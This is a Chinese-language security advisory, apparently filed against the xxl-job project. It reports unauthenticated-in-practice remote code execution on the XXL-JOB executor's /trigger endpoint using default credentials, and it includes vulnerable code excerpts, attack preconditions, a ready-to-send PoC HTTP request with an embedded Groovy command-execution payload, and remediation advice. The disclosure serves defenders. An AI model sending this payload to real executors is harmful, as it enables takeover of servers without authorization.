xxl-job执行器端直接 RCE(高危)
Author: rockmelodiesCreated Aug 5, 2026Updated Aug 15, 2026
XXL-JOB 执行器的 EmbedServer(Netty HTTP 服务)直接暴露 /trigger 端点。攻击者只需知道执行器的 accessToken 和 appname,即可直接向执行器发送 /trigger 请求,携带恶意 glueSource(Groovy 代码),实现远程代码执行。
该攻击完全绕过 Admin 端的所有安全机制:
- 绕过 SSO 认证(不经过 Admin)
- 绕过
JobGroupPermissionUtil权限检查(不经过 Admin) - 绕过
XssUtilXSS 过滤(不经过 Admin) - 绕过 OpenAPI 鉴权(不经过 Admin)
漏洞位置
| 文件 | 位置 | 说明 |
|---|---|---|
[EmbedServer.java](xxl-job-core/src/main/java/com/xxl/job/core/server/EmbedServer.java:187) |
第 187-228 行 dispatchRequest() |
仅验证 accessToken + appname,无其他认证 |
[EmbedServer.java](xxl-job-core/src/main/java/com/xxl/job/core/server/EmbedServer.java:213) |
第 213-215 行 | /trigger 端点直接调用 executorBiz.trigger() |
[ExecutorBizImpl.java](xxl-job-core/src/main/java/com/xxl/job/core/openapi/executor/impl/ExecutorBizImpl.java:105) |
第 105 行 | GlueFactory.getInstance().loadNewInstance(triggerRequest.getGlueSource()) |
[GlueFactory.java](xxl-job-core/src/main/java/com/xxl/job/core/glue/GlueFactory.java:76) |
第 76 行 | groovyClassLoader.parseClass(codeSource) 动态编译执行 |
根因分析
// EmbedServer.java:197-215 — 唯一认证层
String accessToken = headers.get("XXL-JOB-ACCESS-TOKEN");
String appname = headers.get("XXL-JOB-APPNAME");
if (!(accessToken.equals(xxlJobExecutor.getAccessToken())
&& appname.equals(xxlJobExecutor.getAppname()))) {
return Response.ofFail("invalid request, accessToken or appname invalid.");
}
// 认证通过后,直接路由
case "/trigger":
TriggerRequest triggerParam = GsonTool.fromJson(requestData, TriggerRequest.class);
return executorBiz.trigger(triggerParam); // ← glueSource 完全由请求方控制// ExecutorBizImpl.java:105 — 直接使用请求体中的 glueSource
IJobHandler originJobHandler = GlueFactory.getInstance()
.loadNewInstance(triggerRequest.getGlueSource()); // ← 无任何过滤攻击条件
- 能访问执行器端口(默认 9999)
- 知道
accessToken(默认值:default_token) - 知道
appname(可通过 Admin 页面或 OpenAPI 获取,默认值:xxl-job-executor-sample) - 执行器配置
glueenabled=true(默认开启)
影响范围
- 远程代码执行(RCE)
- 完全控制执行器服务器
- 可作为内网跳板进一步渗透
复现步骤
PoC 请求
POST /trigger HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
XXL-JOB-ACCESS-TOKEN: default_token
XXL-JOB-APPNAME: xxl-job-executor-sample
Content-Type: application/json
Content-Length: 553
{"jobId": 0, "executorHandler": "", "executorParams": "", "executorBlockStrategy": "SERIAL_EXECUTION", "executorTimeout": 0, "logId": 1782962744879, "logDateTime": 1782962744879, "glueType": "GLUE_GROOVY", "glueSource": "import com.xxl.job.core.handler.IJobHandler;\n\npublic class pocGlueRce extends IJobHandler {\n public void execute() throws Exception {\n String[] cmd = [\"cmd\", \"/c\", \"calc\"] as String[];\n Runtime.getRuntime().exec(cmd);\n }\n}", "glueUpdatetime": 1782962744879, "broadcastIndex": 0, "broadcastTotal": 1}
注意:Groovy 类必须
extends IJobHandler并实现execute()方法,否则GlueFactory.loadNewInstance()第 57 行的instance instanceof IJobHandler检查会失败。Groovy 数组语法使用["a","b"] as String[]而非 Java 的{"a","b"}。
修复建议
- 执行器端增加来源校验:验证
/trigger请求是否来自已注册的 Admin 节点(校验来源 IP 或双向认证) - 强化 accessToken:禁止使用默认 token,强制要求复杂随机 token
- 网络隔离:执行器端口不应对外暴露,仅允许 Admin 访问
- 请求签名:Admin→Executor 通信增加请求签名,防止伪造
Source: xuxueli/xxl-job